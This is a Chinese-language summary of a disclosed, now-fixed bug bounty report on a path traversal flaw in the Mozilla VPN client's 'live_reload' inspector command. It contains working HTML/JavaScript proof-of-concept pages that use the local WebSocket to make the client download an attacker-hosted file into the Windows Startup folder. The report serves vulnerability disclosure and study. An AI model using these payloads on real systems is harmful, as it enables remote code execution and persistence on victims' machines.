Mozilla VPN客户端:通过文件写入和路径遍历实现RCE
漏洞概述
报告发现了Mozilla VPN客户端软件中存在路径遍历漏洞,导致远程代码执行(RCE)。该漏洞存在于客户端检查器功能的"live_reload"命令中,当客户端处于开发者模式并启用"使用暂存服务器"时可被利用。
漏洞详情
易受攻击的代码位于InspectorHotreloader::fetchAndAnnounce()
函数中(源代码:https://github.com/mozilla-mobile/mozilla-vpn-client/blob/main/src/inspector/inspectorhotreloader.cpp):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
QObject::connect(
request, &NetworkRequest::requestCompleted,
[this, path, dummy_task](const QByteArray& data) {
dummy_task->deleteLater();
auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
auto temp_file = new QFile(temp_path);
temp_file->open(QIODevice::WriteOnly);
if (!temp_file->write(data)) {
logger.warning() << "Unable to write to file:"
<< temp_file->fileName();
return;
}
if (!temp_file->flush()) {
logger.warning() << "Unable to flush to file:"
<< temp_file->fileName();
return;
}
temp_file->close();
QFileInfo info(temp_path);
annonceReplacedFile(QUrl::fromLocalFile(info.absoluteFilePath()));
});
|
在上述代码片段中,temp_path
只是设定目录和文件名的简单拼接,未能正确清理文件路径,允许通过Windows文件路径中的"..“序列进行路径遍历。
复现步骤
- 下载Mozilla VPN:https://www.mozilla.org/en-US/products/vpn/download/
- 开启开发者模式:
- 打开帮助菜单
- 快速点击"Help"标题6次
- 在开发者选项中勾选"Use Staging Servers”
- 完全关闭并重新打开
- 保存并打开以下HTML文件(将
attacker_server
替换为攻击者服务器):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<script>
var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "███████" // 需要HTTP,不支持HTTPS
payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`
ws.onopen = function() {
ws.send(payload);
};
ws.onmessage = function(event) {
document.getElementById("data").innerText += event.data + "\n";
};
</script>
<h1>Data retrieved:</h1>
<div id="data"></div>
|
影响分析
攻击者可以覆盖任意文件导致RCE。当使用暂存服务器时,通过有限的用户交互(只需打开攻击者网站)即可利用此漏洞。注意此漏洞在macOS上不可用。
RCE完整利用
通过将恶意文件写入当前用户的启动文件夹实现永久访问:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<script>
var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "███" // 需要HTTP,不支持HTTPS
payload = `live_reload ${attacker_server}/..\\..\\..\\..\\Roaming\\Microsoft\\Windows\\Start%20Menu\\Programs\\Startup\\traversal_poc.bat`
ws.onopen = function() {
ws.send(payload);
};
ws.onmessage = function(event) {
document.getElementById("data").innerText += event.data + "\n";
};
</script>
<h1>Data retrieved:</h1>
<div id="data"></div>
|
修复方案
Mozilla团队计划移除检查器中的HTTP热加载功能,并添加与WebSocket通信的域名限制。该漏洞已在2.26版本中修复。
时间线
- 2025年2月15日:漏洞报告提交
- 2025年3月6日:奖励6000美元赏金
- 2025年5月13日:漏洞修复
- 2025年7月29日:完全披露
严重程度:高(8.3)
弱点类型:路径遍历
赏金金额:$6,000